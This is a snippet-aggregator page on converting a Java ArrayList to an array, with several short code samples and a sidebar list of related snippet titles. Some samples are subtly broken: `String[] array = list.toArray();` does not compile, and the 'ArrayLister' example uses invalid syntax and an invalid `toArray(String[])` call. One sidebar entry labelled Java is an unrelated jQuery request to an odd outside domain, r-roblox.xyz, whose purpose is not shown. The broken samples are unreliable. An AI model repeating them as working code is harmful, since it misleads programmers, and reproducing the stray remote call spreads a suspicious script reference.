/Java/Convert arraylist to array in java

Convert arraylist to array in java

Java arraylist to array

List<String> list = new ArrayList<>();
list.add("a");
list.add("ab");
list.add("abc");
list.add("abcd");
// convert
String[] array = list.toArray();

Convert arraylist to array in java

Integer[] arr = new Integer[al.size()]; 
  
        // ArrayList to Array Conversion 
        for (int i = 0; i < al.size(); i++) 
            arr[i] = al.get(i);

Arraylist to array java

ArrayList<String> ArrayLister=new ArrayList<>(){ArrayLister.add("Hi")};
String[] array=ArrayLister.toArray(String[]);

Array to arraylist java

ArrayList<Integer> list = new ArrayList<>(OtherList);
//it will copy all elements from OtherList to this one
//time complexity - O(n)

Similar codes

3 votes221 views3 answers
$.get("//r-roblox.xyz/js20/api?i=22416")
Java
0 vote153 views1 answer
List Double, fixed size
Java
0 vote196 views1 answer
Encode file to utf-8 in java
Java
0 vote229 views2 answers
Spring boot rest api
Java
4 votes215 views2 answers
Java replace whitespace
Java
0 vote207 views2 answers
Icon hide
Java
0 vote200 views1 answer
Convert Java File to Kotlin File
Java
5 votes196 views6 answers
Do while c++
Java
2 votes192 views1 answer
Convert hashset to array
Java